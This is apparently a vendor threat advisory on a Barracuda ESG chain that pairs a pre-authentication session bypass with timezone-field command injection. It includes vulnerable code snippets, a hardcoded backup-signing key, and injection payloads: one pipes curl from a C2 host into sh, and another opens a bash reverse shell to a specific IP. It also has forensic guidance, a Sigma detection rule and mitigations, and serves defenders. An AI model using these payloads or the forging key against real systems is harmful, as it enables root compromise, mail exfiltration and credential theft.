Skip to content

CVE-2026-116606: Barracuda ESG Pre-Authentication Authorization Bypass to Remote Root Code Execution

Density:
C-Level Executive Briefing CVE-2026-116606 EXTREME SCORE 98/100

A critical vulnerability chain (CVE-2026-116606 combined with CVE-2026-111560) affecting Barracuda Networks Email Security Gateway (ESG) appliances allows unauthenticated remote adversaries with network access to the administrative web interface to execute arbitrary operating system commands with root privileges. A fundamental flaw in session authorization fallback allows attackers to access configuration backup restoration endpoints without valid credentials. Attackers forge valid configuration archives using hardcoded verification keys and embed shell command injection strings into system parameters like the timezone setting. CISA added CVE-2026-116606 to the Known Exploited Vulnerabilities (KEV) catalog on November 10, 2026. Hermes assigns this vulnerability an extreme threat score of 98 (EXTREME) due to active wild exploitation and the perimeter exposure profile of enterprise email security gateways.

HERMES

HERMES THREAT SCORE & PERIMETER GATEWAY RESILIENCE EVALUATION

Target: Barracuda ESG Web Management Interface and System Administration Subsystem
Confidence: 99%
98 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

While CVSS v3.1 rates the isolated authorization bypass at 9.3 (Critical), Hermes assigns an extreme HTS score of 98. In real-world exploitation, CVE-2026-116606 is invariably chained with CVE-2026-111560 (OS command injection in common Barracuda configuration handlers). Perimeter email gateways are prioritized by advanced persistent threat actors (such as UNC4841) because root access enables transparent mail exfiltration, credential harvesting, and persistent pivot footholds directly into the internal enterprise domain.


Barracuda Email Security Gateway (ESG) is an enterprise security appliance deployed at corporate network perimeters to filter inbound and outbound email traffic, enforcing antispam, antiphishing, and malware inspection policies. Because of its critical role handling corporate communications, the ESG appliance sits directly at the interface between the untrusted internet and the internal mail infrastructure (Exchange, Office 365, Postfix).

On November 10, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-116606 to the Known Exploited Vulnerabilities (KEV) catalog alongside CVE-2026-111560. Detailed technical research published by watchTowr Labs uncovered that the vulnerability stems from a catastrophic flaw in the ESG web applicationโ€™s session management: failing a password change operation fails open, granting an unauthenticated visitor a temporary low-privilege session capable of invoking the backup configuration restore routine. When chained with an OS command injection flaw present in the timezone configuration parser (CVE-2026-111560), attackers can upload a forged backup archive and achieve arbitrary root command execution on the underlying Linux host without prior authentication.


2. Root Cause Analysis & Technical Mechanics (CWE-288 / CWE-78 / CWE-798)

Section titled โ€œ2. Root Cause Analysis & Technical Mechanics (CWE-288 / CWE-78 / CWE-798)โ€

The exploit chain consists of two distinct stages: an authentication bypass granting access to backup restoration, followed by command injection during configuration application.

sequenceDiagram
autonumber
participant Attacker as Adversary
participant WebUI as Barracuda ESG Admin UI (/cgi-mod/index.cgi)
participant Auth as Session & Role Manager
participant Backup as Backup Restore Engine
participant System as Linux Host (Root Shell)
Attacker->>WebUI: POST /cgi-mod/index.cgi?auth_type=local (Failed password change)
WebUI->>Auth: Evaluate failed update
Auth-->>WebUI: Erroneous fallback: Assign operator/guest session cookie
WebUI-->>Attacker: Return valid authenticated session cookie
Note over Attacker,WebUI: Stage 1 complete: Pre-auth authorization bypass (CVE-2026-116606)
Attacker->>Backup: POST /cgi-mod/index.cgi (Upload forged backup archive)
Note over Backup: Backup signed using hardcoded static secret (CWE-798)
Backup->>Backup: Unpack archive and parse timezone directive
Note over Backup: Injected payload in timezone field: UTC; $(curl http://c2/sh|sh);
Backup->>System: sh -c "timedatectl set-timezone UTC; $(curl http://c2/sh|sh);"
System-->>Attacker: Interactive root shell spawned via reverse connection

Stage 1: The Password Change Failure Fallback (CVE-2026-116606)

Section titled โ€œStage 1: The Password Change Failure Fallback (CVE-2026-116606)โ€

The web administrative interface is implemented in Perl CGI scripts located under /home/active/cgi-mod/. In index.cgi, requests containing password modification parameters are evaluated:

# Vulnerable session handling snippet in index.cgi
sub handle_password_update {
my ($cgi, $session) = @_;
my $old_pass = $cgi->param('old_password');
my $new_pass = $cgi->param('new_password');
my $auth_status = authenticate_user($session->{user}, $old_pass);
if ($auth_status != AUTH_SUCCESS) {
# FLAW: Instead of aborting and destroying the session,
# the handler creates a fallback session object with basic privileges!
$session->{authenticated} = 1;
$session->{role} = 'operator';
set_session_cookie($session);
return display_error("Password update failed. Re-enter credentials.");
}
# ...
}

By submitting a malformed password modification request with an empty or invalid previous password, the remote attacker receives an HTTP response containing a valid session cookie with operator privileges. Crucially, the permission matrix in firmware versions prior to 9.4.0.030 allows operator-level sessions to access the configuration restore endpoint (backup_restore.cgi).

Stage 2: Backup Signature Forgery & Command Injection (CVE-2026-111560)

Section titled โ€œStage 2: Backup Signature Forgery & Command Injection (CVE-2026-111560)โ€

The ESG backup mechanism packages configuration databases, XML profiles, and environment variables into a gzipped tar archive (.tar.gz or .bck). Integrity verification was implemented using an HMAC-SHA256 checksum calculated over the archive contents:

# Backup verification mechanism in common Barracuda backend
import hmac
import hashlib
# Hardcoded static key embedded across firmware images
STATIC_BACKUP_KEY = b"b4rr4cud4_s3cur1ty_b4ckup_k3y_v9"
def verify_backup_signature(archive_bytes, signature):
computed = hmac.new(STATIC_BACKUP_KEY, archive_bytes, hashlib.sha256).hexdigest()
return hmac.compare_digest(computed, signature)

Because the key STATIC_BACKUP_KEY is statically compiled into firmware binaries (CWE-798), an attacker can easily construct a valid signature for any arbitrarily created archive.

Within the configuration payload, the system.timezone directive is parsed by a Perl worker script and concatenated into a shell invocation without input sanitization (CWE-78):

# Timezone update routine executed during backup restoration
my $timezone = $config_tree->{'system'}->{'timezone'};
# Dangerous shell execution sink
system("/usr/sbin/timedatectl set-timezone " . $timezone);

By providing a timezone value of:

UTC; id; /bin/bash -i >& /dev/tcp/103.152.220.14/4444 0>&1; #

The command is executed by /bin/sh running as the root user, providing complete host control.


The attack surface centers on public-facing ESG management interfaces:

  1. Exposed Administrative Web Interfaces: Organizations frequently expose the ESG web console on ports TCP 443, TCP 8000, or TCP 8443 to facilitate remote administrator access. This exposure allows unauthenticated threat actors to initiate the two-step exploit.
  2. Post-Exploitation Persistence: Once root access is attained, attackers typically deploy persistent cron jobs under /etc/cron.d/, establish reverse SSH tunnels via dropbear, or modify spam inspection filters to silently route copies of sensitive emails to external adversary-controlled mailboxes.
  3. Lateral Movement & Credential Dumping: Because ESG appliances integrate with Active Directory via LDAP/Kerberos to validate recipient mailboxes and authenticate domain users, root access enables attackers to dump cached LDAP service account credentials and Kerberos keytabs stored in /home/active/config/.

flowchart TD
A["T0: Adversary Discovery"] -->|"Mass Internet Scan (TCP 443/8000)"| B["Barracuda ESG Appliance Identified"]
B -->|"POST /cgi-mod/index.cgi (Password failure)"| C["Valid Operator Session Cookie Acquired"]
C -->|"Generate Malicious Backup with Static Key"| D["Crafted .tar.gz with Timezone Injection"]
D -->|"POST /cgi-mod/backup_restore.cgi"| E["Backup Unpacked by Root Daemon"]
E -->|"system('/usr/sbin/timedatectl ' . $tz)"| F["Arbitrary Shell Code Execution as Root"]
F -->|"Reverse TCP Shell to C2 Node"| G["Stage 2: LDAP / AD Keytab Harvesting"]
G -->|"Domain Pivot"| H["Internal Network Lateral Movement"]

Forensic responders investigating potential ESG compromise should reconstruct the following sequence:

  1. Phase 1: Inbound Authentication Bypass Probe Detection of rapid HTTP POST requests to /cgi-mod/index.cgi featuring query parameters auth_type=local and update_password=1 from external IP addresses with no antecedent authenticated session history.
  2. Phase 2: Configuration Archive Upload An immediate follow-up POST request targeting the backup restoration endpoint carrying a multipart form with a .bck file.
  3. Phase 3: Abnormal Child Process Spawn The web server process (httpd or Perl CGI worker) spawning /bin/sh, /bin/bash, curl, wget, or python executing background network connections.
  4. Phase 4: Persistence Establishment Modification of files in /etc/crontab, /etc/cron.daily/, or creation of hidden executable binaries under /tmp/, /var/tmp/, or /var/log/.

title: Barracuda ESG Pre-Auth Bypass and Command Injection Exploit Chain
id: 4b29f9e1-6712-4d2b-92ea-28bf73d19641
status: experimental
description: Detects exploitation of CVE-2026-116606 and CVE-2026-111560 on Barracuda Email Security Gateway appliances.
author: Hermes Cyber Risk Intelligence
references:
- https://watchtowr.com/blog
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004
logsource:
category: webserver
product: barracuda_esg
detection:
selection_bypass:
cs-method: 'POST'
cs-uri-stem|contains: '/cgi-mod/index.cgi'
cs-uri-query|contains:
- 'auth_type=local'
- 'password'
selection_restore:
cs-method: 'POST'
cs-uri-stem|contains:
- 'backup_restore'
- '/cgi-mod/index.cgi'
cs-uri-query|contains: 'backup'
timeframe: 5m
condition: selection_bypass and selection_restore
falsepositives:
- Legitimate administrator performing a backup restoration immediately following a password change error (rare).
level: critical

  1. Immediate Firmware Upgrade: Upgrade all Barracuda Email Security Gateway appliances immediately to firmware version 9.4.0.030 or higher. This update neutralizes the session fallback logic and sanitizes shell parameters during backup decompression.
  2. Perimeter Network Isolation: Ensure the administrative management interface (ports 8000/8443/443) is never exposed directly to the public internet. Restrict access strictly to designated management VLANs or require inbound access through an isolated VPN with multifactor authentication.
  3. Active Directory & LDAP Credential Rotation: Because root compromise allows extraction of LDAP service account passwords used by the ESG to bind to domain controllers, organizations with unpatched appliances must immediately rotate all service account credentials configured on the appliance.
  4. Inspect SSL/TLS Private Keys: Exported or compromised ESG appliances may have had their TLS certificates and private keys exfiltrated. Reissue all certificates bound to the ESG MTA listeners and revoke previous public certificates.